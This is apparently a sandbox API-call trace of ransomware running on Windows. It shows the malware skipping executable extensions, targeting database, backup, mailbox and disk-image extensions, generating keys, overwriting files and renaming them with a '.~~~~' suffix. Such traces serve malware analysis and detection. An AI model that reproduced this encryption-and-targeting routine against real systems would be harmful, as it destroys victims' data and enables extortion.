	[0085.940] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.940] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.940] CloseHandle (hObject=0x124) returned 1
	[0085.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0085.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.~~~~")) returned 1
	[0085.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0085.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0085.942] GetLastError () returned 0x0
	[0085.942] RtlWakeConditionVariable () returned 0x365f70
	[0085.942] GetCurrentThreadId () returned 0x9f4
	[0085.942] GetCurrentThreadId () returned 0x9f4
	[0085.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0085.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bac40 | out: hHeap=0x300000) returned 1
	[0085.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d40 | out: hHeap=0x300000) returned 1
	[0085.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bac40
	[0085.942] lstrlenW (lpString=".scr") returned 4
	[0085.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".scr") returned 0x0
	[0085.942] lstrlenW (lpString=".cmd") returned 4
	[0085.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".cmd") returned 0x0
	[0085.942] lstrlenW (lpString=".dll") returned 4
	[0085.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dll") returned 0x0
	[0085.942] lstrlenW (lpString=".bat") returned 4
	[0085.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".bat") returned 0x0
	[0085.942] lstrlenW (lpString=".cpl") returned 4
	[0085.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".cpl") returned 0x0
	[0085.942] lstrlenW (lpString=".sys") returned 4
	[0085.942] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".sys") returned 0x0
	[0085.942] lstrlenW (lpString=".msc") returned 4
	[0085.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".msc") returned 0x0
	[0085.943] lstrlenW (lpString=".com") returned 4
	[0085.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".com") returned 0x0
	[0085.943] lstrlenW (lpString=".lnk") returned 4
	[0085.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".lnk") returned 0x0
	[0085.943] lstrlenW (lpString=".msp") returned 4
	[0085.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".msp") returned 0x0
	[0085.943] lstrlenW (lpString=".pif") returned 4
	[0085.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".pif") returned 0x0
	[0085.943] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.944] lstrlenW (lpString=".sqb") returned 4
	[0085.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".sqb") returned 0x0
	[0085.944] lstrlenW (lpString=".ost") returned 4
	[0085.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".ost") returned 0x0
	[0085.944] lstrlenW (lpString=".txt") returned 4
	[0085.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".txt") returned 0x0
	[0085.945] lstrlenW (lpString=".mdt") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".mdt") returned 0x0
	[0085.945] lstrlenW (lpString=".BDB") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".BDB") returned 0x0
	[0085.945] lstrlenW (lpString=".eql") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".eql") returned 0x0
	[0085.945] lstrlenW (lpString=".DBF") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DBF") returned 0x0
	[0085.945] lstrlenW (lpString=".EQL") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".EQL") returned 0x0
	[0085.945] lstrlenW (lpString=".FDB") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".FDB") returned 0x0
	[0085.945] lstrlenW (lpString=".EDB") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".EDB") returned 0x0
	[0085.945] lstrlenW (lpString=".DACPAC") returned 7
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.945] lstrlenW (lpString=".VHD") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".VHD") returned 0x0
	[0085.945] lstrlenW (lpString=".DBV") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DBV") returned 0x0
	[0085.945] lstrlenW (lpString=".dacpac") returned 7
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dacpac") returned 0x0
	[0085.945] lstrlenW (lpString=".sdf") returned 4
	[0085.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".sdf") returned 0x0
	[0085.945] lstrlenW (lpString=".accdb") returned 6
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".accdb") returned 0x0
	[0085.946] lstrlenW (lpString=".DBX") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DBX") returned 0x0
	[0085.946] lstrlenW (lpString=".MDT") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".MDT") returned 0x0
	[0085.946] lstrlenW (lpString=".SQB") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".SQB") returned 0x0
	[0085.946] lstrlenW (lpString=".vhd") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".vhd") returned 0x0
	[0085.946] lstrlenW (lpString=".bac") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".bac") returned 0x0
	[0085.946] lstrlenW (lpString=".mdf") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".mdf") returned 0x0
	[0085.946] lstrlenW (lpString=".BAK") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".BAK") returned 0x0
	[0085.946] lstrlenW (lpString=".BAC") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".BAC") returned 0x0
	[0085.946] lstrlenW (lpString=".dbs") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dbs") returned 0x0
	[0085.946] lstrlenW (lpString=".vhdx") returned 5
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".vhdx") returned 0x0
	[0085.946] lstrlenW (lpString=".NDF") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".NDF") returned 0x0
	[0085.946] lstrlenW (lpString=".dat") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dat") returned 0x0
	[0085.946] lstrlenW (lpString=".DBS") returned 4
	[0085.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DBS") returned 0x0
	[0085.947] lstrlenW (lpString=".CKP") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".CKP") returned 0x0
	[0085.947] lstrlenW (lpString=".edb") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".edb") returned 0x0
	[0085.947] lstrlenW (lpString=".PST") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".PST") returned 0x0
	[0085.947] lstrlenW (lpString=".dbf") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dbf") returned 0x0
	[0085.947] lstrlenW (lpString=".SQL") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".SQL") returned 0x0
	[0085.947] lstrlenW (lpString=".pst") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".pst") returned 0x0
	[0085.947] lstrlenW (lpString=".dbv") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dbv") returned 0x0
	[0085.947] lstrlenW (lpString=".SDF") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".SDF") returned 0x0
	[0085.947] lstrlenW (lpString=".dtxs") returned 5
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dtxs") returned 0x0
	[0085.947] lstrlenW (lpString=".db3") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".db3") returned 0x0
	[0085.947] lstrlenW (lpString=".OST") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".OST") returned 0x0
	[0085.947] lstrlenW (lpString=".dbx") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dbx") returned 0x0
	[0085.947] lstrlenW (lpString=".DB3") returned 4
	[0085.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DB3") returned 0x0
	[0085.948] lstrlenW (lpString=".DAT") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DAT") returned 0x0
	[0085.948] lstrlenW (lpString=".VHDX") returned 5
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".VHDX") returned 0x0
	[0085.948] lstrlenW (lpString=".ndf") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".ndf") returned 0x0
	[0085.948] lstrlenW (lpString=".DB") returned 3
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DB") returned 0x0
	[0085.948] lstrlenW (lpString=".sql") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".sql") returned 0x0
	[0085.948] lstrlenW (lpString=".MYD") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".MYD") returned 0x0
	[0085.948] lstrlenW (lpString=".DBT") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DBT") returned 0x0
	[0085.948] lstrlenW (lpString=".ACCDB") returned 6
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.948] lstrlenW (lpString=".fdb") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".fdb") returned 0x0
	[0085.948] lstrlenW (lpString=".bak") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".bak") returned 0x0
	[0085.948] lstrlenW (lpString=".myd") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".myd") returned 0x0
	[0085.948] lstrlenW (lpString=".DTXS") returned 5
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".DTXS") returned 0x0
	[0085.948] lstrlenW (lpString=".ckp") returned 4
	[0085.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".ckp") returned 0x0
	[0085.949] lstrlenW (lpString=".dbt") returned 4
	[0085.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".dbt") returned 0x0
	[0085.949] lstrlenW (lpString=".db") returned 3
	[0085.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".db") returned 0x0
	[0085.949] lstrlenW (lpString=".TXT") returned 4
	[0085.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".TXT") returned 0x0
	[0085.949] lstrlenW (lpString=".MDF") returned 4
	[0085.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".MDF") returned 0x0
	[0085.949] lstrlenW (lpString=".bdb") returned 4
	[0085.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".bdb") returned 0x0
	[0085.949] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.949] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.949] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.950] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.950] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0085.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.950] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20594045552) returned 1
	[0085.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9d0c6fb0, dwHighDateTime=0x1d60e1e)) 
	[0085.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0085.950] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0085.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0085.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2d40
	[0085.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2d40 | out: hHeap=0x300000) returned 1
	[0085.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bab98
	[0085.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bab98 | out: hHeap=0x300000) returned 1
	[0085.951] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.951] GetLastError () returned 0x0
	[0085.951] GetLastError () returned 0x0
	[0085.951] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.951] GetLastError () returned 0x0
	[0085.952] GetLastError () returned 0x0
	[0086.095] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.095] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.098] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.098] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.098] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.099] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.099] CloseHandle (hObject=0x124) returned 1
	[0086.099] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0086.099] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.~~~~")) returned 1
	[0086.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.100] GetLastError () returned 0x0
	[0086.100] RtlWakeConditionVariable () returned 0x365f70
	[0086.100] GetCurrentThreadId () returned 0x9f4
	[0086.100] GetCurrentThreadId () returned 0x9f4
	[0086.100] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0086.100] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f43b8 | out: hHeap=0x300000) returned 1
	[0086.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6710 | out: hHeap=0x300000) returned 1
	[0086.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f43b8
	[0086.101] lstrlenW (lpString=".scr") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0086.101] lstrlenW (lpString=".cmd") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0086.101] lstrlenW (lpString=".dll") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0086.101] lstrlenW (lpString=".bat") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0086.101] lstrlenW (lpString=".cpl") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0086.101] lstrlenW (lpString=".sys") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0086.101] lstrlenW (lpString=".msc") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0086.101] lstrlenW (lpString=".com") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0086.101] lstrlenW (lpString=".lnk") returned 4
	[0086.101] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0086.101] lstrlenW (lpString=".msp") returned 4
